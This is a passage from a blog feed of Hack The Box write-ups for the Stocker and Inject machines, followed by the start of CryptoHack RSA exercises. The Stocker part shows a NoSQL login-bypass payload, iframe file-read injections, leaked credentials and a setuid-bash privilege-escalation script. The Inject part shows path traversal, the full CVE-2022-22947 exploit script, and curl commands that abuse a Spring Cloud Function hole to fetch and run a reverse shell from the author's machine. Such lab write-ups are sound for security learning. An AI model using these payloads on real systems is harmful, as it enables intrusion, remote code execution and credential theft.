[--\u0026gt; http://stocker.htb/img/] /css (Status: 301) [Size: 178] [--\u0026gt; http://stocker.htb/css/] /js (Status: 301) [Size: 178] [--\u0026gt; http://stocker.htb/js/] =============================================================== 2023/04/01 22:33:51 Finished =============================================================== vhost enumeration:\n┌──(kali㉿kali)-[~/htb/stocker] └─$ gobuster vhost -u http://stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-500 0.txt -z -o vhost.out =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://stocker.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/04/01 22:54:10 Starting gobuster in VHOST enumeration mode =============================================================== Found: dev.stocker.htb (Status: 302) [Size: 28] =============================================================== 2023/04/01 22:54:20 Finished =============================================================== subdirectory enumeration on vhost:\ngobuster dir -u http://dev.stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z -o gobuster.out =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://dev.stocker.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/04/01 23:22:32 Starting gobuster in directory enumeration mode =============================================================== /static (Status: 301) [Size: 179] [--\u0026gt; /static/] /login (Status: 200) [Size: 2667] /stock (Status: 302) [Size: 48] [--\u0026gt; /login?error=auth-required] =============================================================== 2023/04/01 23:22:48 Finished =============================================================== /stock seemed interesting.\nsqlmap dev.stocker.htb took me to a login page. I tried a few random default passwords with no luck. Then I threw sqlmap at it to see if SQLi would work here.\nsqlmap -u \u0026#34;http://dev.stocker.htb/login\u0026#34; --data=\u0026#34;username=admin\u0026amp;password=pass\u0026#34; --level=5 --risk=3 -- banner This didn\u0026rsquo;t have any luck.\nburpsuite HackTricks NoSQL Injection section to the rescue.\n{\u0026#34;username\u0026#34;: {\u0026#34;$ne\u0026#34;: null}, \u0026#34;password\u0026#34;: {\u0026#34;$ne\u0026#34;: null} } Successful authentication bypass Browser view of gained access to dev.stocker.htb/stock After monitoring these requests with burp, I realized malicious iframe\u0026rsquo;s can be used to pull information from the server such as /etc/passwd:\nPOST /api/order HTTP/1.1 Host: dev.stocker.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://dev.stocker.htb/stock Content-Type: application/json Origin: http://dev.stocker.htb Content-Length: 225 Connection: close Cookie: connect.sid= s%3ADTAH3L2HfmT2Cn6zhHfOfyr18Jes4y_c.rWc8wNthMi0JSQbkmNXfQid2y2ySv0JnmPglTMKjUmI { \u0026#34;basket\u0026#34;:[ { \u0026#34;_id\u0026#34;:\u0026#34;638f116eeb060210cbd83a8f\u0026#34;, \u0026#34;title\u0026#34;:\u0026#34;\u0026lt;iframe src=file:///etc/passwd height=750px width=750px\u0026lt;/iframe\u0026gt;\u0026#34;, \u0026#34;description\u0026#34;:\u0026#34;It\u0026#39;s a rubbish bin.\u0026#34;, \u0026#34;image\u0026#34;:\u0026#34;bin.jpg\u0026#34;, \u0026#34;price\u0026#34;:76, \u0026#34;currentStock\u0026#34;:15, \u0026#34;__v\u0026#34;:0, \u0026#34;amount\u0026#34;:1 } ] } The server replies with:\nHTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 02 Apr 2023 18:50:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 53 Connection: close X-Powered-By: Express ETag: W/\u0026#34;35-haqxAbz2IXEyESkOv8R4XgQqfnw\u0026#34; { \u0026#34;success\u0026#34;:true, \u0026#34;orderId\u0026#34;:\u0026#34;6429d02b9cf17ad01a93e155\u0026#34; } Finally, I checked the PDF receipt with the orderId the API generates to see the output.\nReceipt: http://dev.stocker.htb/api/po/6429d02b9cf17ad01a93e155 I repeated these steps to locate the javascript source code.\nRequest:\nPOST /api/order HTTP/1.1 Host: dev.stocker.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://dev.stocker.htb/stock Content-Type: application/json Origin: http://dev.stocker.htb Content-Length: 225 Connection: close Cookie: connect.sid= s%3ADTAH3L2HfmT2Cn6zhHfOfyr18Jes4y_c.rWc8wNthMi0JSQbkmNXfQid2y2ySv0JnmPglTMKjUmI { \u0026#34;basket\u0026#34;:[ { \u0026#34;_id\u0026#34;:\u0026#34;638f116eeb060210cbd83a8f\u0026#34;, \u0026#34;title\u0026#34;:\u0026#34;\u0026lt;iframe src=file:///var/www/dev/index.js height=750px width=750px\u0026lt;/iframe\u0026gt;\u0026#34;, \u0026#34;description\u0026#34;:\u0026#34;It\u0026#39;s a rubbish bin.\u0026#34;, \u0026#34;image\u0026#34;:\u0026#34;bin.jpg\u0026#34;, \u0026#34;price\u0026#34;:76, \u0026#34;currentStock\u0026#34;:15, \u0026#34;__v\u0026#34;:0, \u0026#34;amount\u0026#34;:1 } ] } Response:\nHTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 02 Apr 2023 19:06:33 GMT Content-Type: application/json; charset=utf-8 Content-Length: 53 Connection: close X-Powered-By: Express ETag: W/\u0026#34;35-oWX982b+eWRapIaO22T+EspEwGI\u0026#34; { \u0026#34;success\u0026#34;:true, \u0026#34;orderId\u0026#34;:\u0026#34;6429d2399cf17ad01a93e15a\u0026#34; } Creds acquired!\nangoose@10.10.11.196 | IHeardPassphrasesArePrettySecure privesc Initial triage showed angoose has sudo privs for running /usr/bin/node on the path /usr/local/scripts/*.js. I took advantage of this wild card and wrote a malicious esc.js to make /bin/bash have the SETUID bit.\nangoose@stocker:~$ sudo -l [sudo] password for angoose: Matching Defaults entries for angoose on stocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User angoose may run the following commands on stocker: (ALL) /usr/bin/node /usr/local/scripts/*.js file: esc.js\nconst { exec } = require(\u0026#34;child_process\u0026#34;); exec(\u0026#34;chmod u+s /bin/bash\u0026#34;, (error, stdout, stderr) =\u0026gt; { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); pwned Flags user.txt: 35ead2014cf3831c2b46a6d7108f48f1\nroot.txt: 8e386772be19262c050d62534c53ee1d\n","permalink":"https://woadey.github.io/posts/htb/easy/stocker/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/523\"\n title=\"Stocker\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eStocker\u003c/a\u003e","title":"HTB Writeup: Stocker"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Nmap 7.92 scan initiated Mon Mar 20 22:37:54 2023 as: nmap -sC -sV -oA nmap/inject -T4 10.10.11.204 Nmap scan report for 10.10.11.204 Host is up (0.029s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA) | 256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA) |_ 256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Mar 20 22:38:05 2023 -- 1 IP address (1 host up) scanned in 10.33 seconds gobuster gobuster dir -u http://10.10.11.204:8080 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o gobuster .out -z 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.204:8080 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s =============================================================== 2023/03/20 23:20:09 Starting gobuster in directory enumeration mode =============================================================== /upload (Status: 200) [Size: 1857] /blogs (Status: 200) [Size: 5371] /register (Status: 200) [Size: 5654] /error (Status: 500) [Size: 106] =============================================================== 2023/03/20 23:20:56 Finished =============================================================== searchsploit After a bit of trial and error, I discovered that the /upload page only accepts file extensions related to images. I attempted to upload malicious image files containing a PHP reverse shell, but this failed. Then I started to look and see if any of the programs running on the open ports were vulnerable with metasploit\u0026rsquo;s searchsploit CLI tool that allows users to search through known vulnerabilities within the Exploit Database.\n------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------- --------------------------------- Nagios 3.0.6 - \u0026#39;statuswml.cgi\u0026#39; Arbitrary Shell Command Injection | cgi/remote/33051.txt Nagios 3.2.3 - \u0026#39;expand\u0026#39; Cross-Site Scripting | multiple/remote/35818.txt Nagios 4.2.2 - Local Privilege Escalation | linux/local/40774.sh Nagios \u0026lt; 4.2.2 - Arbitrary Code Execution | linux/remote/40920.py Nagios \u0026lt; 4.2.4 - Local Privilege Escalation | linux/local/40921.sh Nagios Core 4.4.1 - Denial of Service | linux/dos/45082.txt Nagios Incident Manager 2.0.0 - Multiple Vulnerabilities | php/webapps/40252.txt Nagios Log Server 1.4.1 - Multiple Vulnerabilities | php/webapps/40250.txt Nagios Log Server 2.1.6 - Persistent Cross-Site Scripting | multiple/webapps/48772.txt Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting | multiple/webapps/49082.txt Nagios Network Analyzer 2.2.0 - Multiple Vulnerabilities | php/webapps/40251.txt Nagios Network Analyzer 2.2.1 - Multiple Cross-Site Request Forgery Vulnerabilities | php/webapps/40221.txt Nagios Plugins 1.4.2/1.4.9 - Location Header Remote Buffer Overflow | linux/dos/30646.txt Nagios Plugins check_dhcp 2.0.1 - Arbitrary Option File Read | linux/local/33387.txt Nagios Plugins check_dhcp 2.0.2 - Arbitrary Option File Read Race Condition | linux/local/33904.txt Nagios Plugins check_ups - Local Buffer Overflow (PoC) | linux/dos/18278.txt Nagios Remote Plugin Executor - Arbitrary Command Execution (Metasploit) | linux/remote/24955.rb Nagios XI - \u0026#39;login.php\u0026#39; Multiple Cross-Site Scripting Vulnerabilities | linux/remote/34507.txt Nagios XI - \u0026#39;tfPassword\u0026#39; SQL Injection | php/remote/38827.txt Nagios XI - \u0026#39;users.php\u0026#39; SQL Injection | multiple/remote/34523.txt Nagios XI - Authenticated Remote Command Execution (Metasploit) | linux/remote/48191.rb Nagios XI - Multiple Cross-Site Request Forgery Vulnerabilities | linux/remote/34431.html Nagios XI - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities | multiple/remote/36455.txt Nagios XI 5.2.6 \u0026lt; 5.2.9 / 5.3 / 5.4 - Chained Remote Root | php/webapps/44560.py Nagios XI 5.2.6-5.4.12 - Chained Remote Code Execution (Metasploit) | linux/remote/44969.rb Nagios XI 5.2.7 - Multiple Vulnerabilities | php/webapps/39899.txt Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit) | linux/remote/47039.rb Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation | linux/webapps/46221.py Nagios XI 5.6.1 - SQL injection | php/webapps/46910.txt Nagios XI 5.6.12 - \u0026#39;export-rrd.php\u0026#39; Remote Code Execution | php/webapps/48640.txt Nagios XI 5.6.5 - Remote Code Execution / Root Privilege Escalation | php/webapps/47299.php Nagios XI 5.7.3 - \u0026#39;Contact Templates\u0026#39; Persistent Cross-Site Scripting | php/webapps/48893.txt Nagios XI 5.7.3 - \u0026#39;Manage Users\u0026#39; Authenticated SQL Injection | php/webapps/48894.txt Nagios XI 5.7.3 - \u0026#39;mibs.php\u0026#39; Remote Command Injection (Authenticated) | php/webapps/48959.py Nagios XI 5.7.3 - \u0026#39;SNMP Trap Interface\u0026#39; Authenticated SQL Injection | php/webapps/48895.txt Nagios XI 5.7.5 - Multiple Persistent Cross-Site Scripting | php/webapps/49449.txt Nagios XI 5.7.X - Remote Code Execution RCE (Authenticated) | php/webapps/49422.py Nagios XI Chained - Remote Code Execution (Metasploit) | linux/remote/40067.rb Nagios XI Network Monitor Graph Explorer Component - Command Injection (Metasploit) | unix/remote/23227.rb Nagios3 - \u0026#39;history.cgi\u0026#39; Host Command Execution (Metasploit) | linux/remote/24159.rb Nagios3 - \u0026#39;history.cgi\u0026#39; Remote Command Execution | multiple/remote/24084.py Nagios3 - \u0026#39;statuswml.cgi\u0026#39; \u0026#39;Ping\u0026#39; Command Execution (Metasploit) | cgi/webapps/16908.rb Nagios3 - \u0026#39;statuswml.cgi\u0026#39; Command Injection (Metasploit) | unix/webapps/9861.rb NagiosQL 2005 2.00 - \u0026#39;prepend_adm.php\u0026#39; Remote File Inclusion | php/webapps/3919.txt PHPNagios 1.2.0 - \u0026#39;menu.php\u0026#39; Local File Inclusion | php/webapps/9611.txt ------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Nothing proved useful here.\nburpsuite I then started using burpsuite to see if anything weird was happening with the requests. Eventually, I realized that the query string (or URL parameter) was passing in the desired file. But can we specify any file? Seemed like a path traversal vulnerability could be present.\ncurl I then switched over to curl so I could perform this path injection from my terminal. First, I tested to see what would happen with my PHP reverse shell \u0026ldquo;image.\u0026rdquo;\n┌──(kali㉿kali)-[~/htb/inject] └─$ curl \u0026#34;http://10.10.11.204:8080/show_image?img=shell.png\u0026#34; {\u0026#34;timestamp\u0026#34;:\u0026#34;2023-03-21T03:37:17.652+00:00\u0026#34;,\u0026#34;status\u0026#34;:500,\u0026#34;error\u0026#34;:\u0026#34;Internal Server Error\u0026#34;,\u0026#34;message\u0026#34;:\u0026#34;URL [file:/var/www/WebApp/src/main/uploads/shell.png] cannot be resolved in the file system for checking its content length\u0026#34;,\u0026#34;path\u0026#34;:\u0026#34;/show_image\u0026#34;} Right away, we can see the path to this file is output. Now let\u0026rsquo;s try with something a little more spicy.\n┌──(kali㉿kali)-[~/htb/inject] └─$ curl \u0026#34;http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd\u0026#34; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin frank:x:1000:1000:frank:/home/frank:/bin/bash lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false sshd:x:113:65534::/run/sshd:/usr/sbin/nologin phil:x:1001:1001::/home/phil:/bin/bash fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin _laurel:x:997:996::/var/log/laurel:/bin/false Some digging later, I found this interesting configuration file.\ncurl \u0026#34;http://10.10.11.204:8080/show_image?img=../../../../../www/WebApp/pom.xml\u0026#34; \u0026gt; pom.xml file: pom.xml\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;project xmlns=\u0026#34;http://maven.apache.org/POM/4.0.0\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\u0026#34;\u0026gt; \u0026lt;modelVersion\u0026gt;4.0.0\u0026lt;/modelVersion\u0026gt; \u0026lt;parent\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-parent\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.6.5\u0026lt;/version\u0026gt; \u0026lt;relativePath/\u0026gt; \u0026lt;!-- lookup parent from repository --\u0026gt; \u0026lt;/parent\u0026gt; \u0026lt;groupId\u0026gt;com.example\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;WebApp\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;0.0.1-SNAPSHOT\u0026lt;/version\u0026gt; \u0026lt;name\u0026gt;WebApp\u0026lt;/name\u0026gt; \u0026lt;description\u0026gt;Demo project for Spring Boot\u0026lt;/description\u0026gt; \u0026lt;properties\u0026gt; \u0026lt;java.version\u0026gt;11\u0026lt;/java.version\u0026gt; \u0026lt;/properties\u0026gt; \u0026lt;dependencies\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;com.sun.activation\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;javax.activation\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.0\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-thymeleaf\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-web\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-devtools\u0026lt;/artifactId\u0026gt; \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; \u0026lt;optional\u0026gt;true\u0026lt;/optional\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.cloud\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-cloud-function-web\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;3.2.2\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-starter-test\u0026lt;/artifactId\u0026gt; \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.webjars\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;bootstrap\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;5.1.3\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.webjars\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;webjars-locator-core\u0026lt;/artifactId\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;/dependencies\u0026gt; \u0026lt;build\u0026gt; \u0026lt;plugins\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-boot-maven-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${parent.version}\u0026lt;/version\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;/plugins\u0026gt; \u0026lt;finalName\u0026gt;spring-webapp\u0026lt;/finalName\u0026gt; \u0026lt;/build\u0026gt; \u0026lt;/project\u0026gt; searchsploit Now back to searchsploit to see if any of these plugins are vulnerable!\n┌──(kali㉿kali)-[~/htb/inject] └─$ searchsploit \u0026#34;spring cloud\u0026#34; ------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------- --------------------------------- Spring Cloud Config 2.1.x - Path Traversal (Metasploit) | java/webapps/46772.rb Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) | java/webapps/50799.py ------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Remote Code Execution (RCE) sounds very promising! We can learn more about the script via:\ncat /usr/share/exploitdb/exploits/java/webapps/50799.py This gives us the output of:\nfile: 50799.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 # Exploit Title: Spring Cloud Gateway 3.1.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 03/03/2022 # Exploit Author: Carlos E. Vieira # Vendor Homepage: https://spring.io/ # Software Link: https://spring.io/projects/spring-cloud-gateway # Version: This vulnerability affect Spring Cloud Gateway \u0026lt; 3.0.7 \u0026amp; \u0026lt; 3.1.1 # Tested on: 3.1.0 # CVE : CVE-2022-22947 import random import string import requests import json import sys import urllib.parse import base64 headers = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34; , \u0026#39;User-Agent\u0026#39;: \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\u0026#39;,\u0026#39;Accept\u0026#39; : \u0026#39;*/*\u0026#39;} proxies = { \u0026#39;http\u0026#39;: \u0026#39;http://172.29.32.1:8081\u0026#39;, \u0026#39;https\u0026#39;: \u0026#39;http://172.29.32.1:8081\u0026#39;, } id = \u0026#39;\u0026#39;.join(random.choice(string.ascii_lowercase) for i in range(8)) def exploit(url, command): payload = { \u0026#34;id\u0026#34;: id, \u0026#34;filters\u0026#34;: [{ \u0026#34;name\u0026#34;: \u0026#34;AddResponseHeader\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Result\u0026#34;, \u0026#34;value\u0026#34;: \u0026#34;#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\\u0022\u0026#34;+command+\u0026#34;\\u0022).getInputSt ream()))}\u0026#34;}}],\u0026#34;uri\u0026#34;: \u0026#34;http://example.com\u0026#34;} commandb64 =base64.b64encode(command.encode(\u0026#39;utf-8\u0026#39;)).decode(\u0026#39;utf-8\u0026#39;) rbase = requests.post(url + \u0026#39;/actuator/gateway/routes/\u0026#39;+id, headers=headers, data=json.dumps(payload), proxies=proxies, verify=False) if(rbase.status_code == 201): print(\u0026#34;[+] Stage deployed to /actuator/gateway/routes/\u0026#34;+id) print(\u0026#34;[+] Executing command...\u0026#34;) r = requests.post(url + \u0026#39;/actuator/gateway/refresh\u0026#39;, headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): print(\u0026#34;[+] getting result...\u0026#34;) r = requests.get(url + \u0026#39;/actuator/gateway/routes/\u0026#39; + id, headers=headers, proxies=proxies, verify=False) if(r.status_code == 200): get_response = r.json() clean(url, id) return get_response[\u0026#39;filters\u0026#39;][0].split(\u0026#34;\u0026#39;\u0026#34;)[1] else: print(\u0026#34;[-] Error: Invalid response\u0026#34;) clean(url, id) exit(1) else: clean(url, id) print(\u0026#34;[-] Error executing command\u0026#34;) def clean(url, id): remove = requests.delete(url + \u0026#39;/actuator/gateway/routes/\u0026#39; + id, headers=headers, proxies=proxies, verify=False) if(remove.status_code == 200): print(\u0026#34;[+] Stage removed!\u0026#34;) else: print(\u0026#34;[-] Error: Fail to remove stage\u0026#34;) def banner(): print(\u0026#34;\u0026#34;\u0026#34; ################################################### # # # Exploit for CVE-2022-22947 # # - Carlos Vieira (Crowsec) # # # # Usage: # # python3 exploit.py \u0026lt;url\u0026gt; \u0026lt;command\u0026gt; # # # # Example: # # python3 exploit.py http://localhost:8080 \u0026#39;id\u0026#39; # # # ################################################### \u0026#34;\u0026#34;\u0026#34;) def main(): banner() if len(sys.argv) != 3: print(\u0026#34;[-] Error: Invalid arguments\u0026#34;) print(\u0026#34;[-] Usage: python3 exploit.py \u0026lt;url\u0026gt; \u0026lt;command\u0026gt;\u0026#34;) exit(1) else: url = sys.argv[1] command = sys.argv[2] print(exploit(url, command)) if __name__ == \u0026#39;__main__\u0026#39;: main() After a lot of trial and error with running with msfconsole (the Metasploit CLI exploitation tool) as well as running the script locally, I finally gave up. Instead, I copied the portion of code responsible for the RCE and sent this via curl.\nFirst I uploaded a reverse shell via a python HTTP server:\ncurl -X POST http://10.10.11.204:8080/functionRouter -H \u0026#39;spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\u0026#34;wget http://10.10.16.5:8000/oneline.rev -O /tmp/rev\u0026#34;)\u0026#39; --data-raw \u0026#39;data\u0026#39; -v Then I executed this file to spring a shell locally.\ncurl -X POST http://10.10.11.204:8080/functionRouter -H \u0026#39;spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\u0026#34;bash /tmp/rev\u0026#34;)\u0026#39; --data-raw \u0026#39;data\u0026#39; -v Once you have access, just grab the flags!\nFlags user.txt: b46c9409c9d255bb02c1fd45e4ccf79a\nroot.txt: 074bddbe556da944009a1493fdb18615\n","permalink":"https://woadey.github.io/posts/htb/easy/inject/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/533\"\n title=\"Inject\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eInject\u003c/a\u003e","title":"HTB Writeup: Inject"},{"content":"RSA Starter 1 All operations in RSA involve modular exponentiation.\nModular exponentiation is an operation that is used extensively in cryptography and is normally written like: 2^10 mod 17\nYou can think of this as raising some number to a certain power (2^10 = 1024), and then taking the remainder of the division by some other number (1024 mod 17 = 4). In Python there\u0026rsquo;s a built-in operator for performing this operation: pow(base, exponent, modulus)\nIn RSA, modular exponentiation, together with the problem of prime factorization, helps us to build a \u0026ldquo;trapdoor function\u0026rdquo;. This is a function that is easy to compute in one direction, but hard to do in reverse unless you have the right information. It allows us to encrypt a message, and only the person with the key can perform the inverse operation to decrypt it.\nFind the solution to 101^17 mod 22663\nSolution \u0026gt; pow(101, 17, 22663) 19906 flag: 19906\nRSA Starter 2 RSA encryption is modular exponentiation of a message with an exponent e and a modulus N which is normally a product of two primes: N = p * q.\nTogether the exponent and modulus form an RSA \u0026ldquo;public key\u0026rdquo; (N, e). The most common value for e is 0x10001 or 65537.\n\u0026ldquo;Encrypt\u0026rdquo; the number 12 using the exponent e = 65537 and the primes p = 17 and q = 23. What number do you get as the ciphertext?\nSolution \u0026gt; pow(12,65537,17*23) 301 flag: 301\nRSA Starter 3 RSA relies on the difficulty of the factorization of the modulus N. If the primes can be found then we can calculate the Euler totient of N and thus decrypt the ciphertext.\nGiven N = p*q and two primes:\np = 857504083339712752489993810777\nq = 1029224947942998075080348647219\nWhat is the totient of N?\nSolution \u0026gt; p = 857504083339712752489993810777 \u0026gt; q = 1029224947942998075080348647219 \u0026gt; phi = (p-1)*(q-1) \u0026gt; print(phi) 882564595536224140639625987657529300394956519977044270821168 flag: 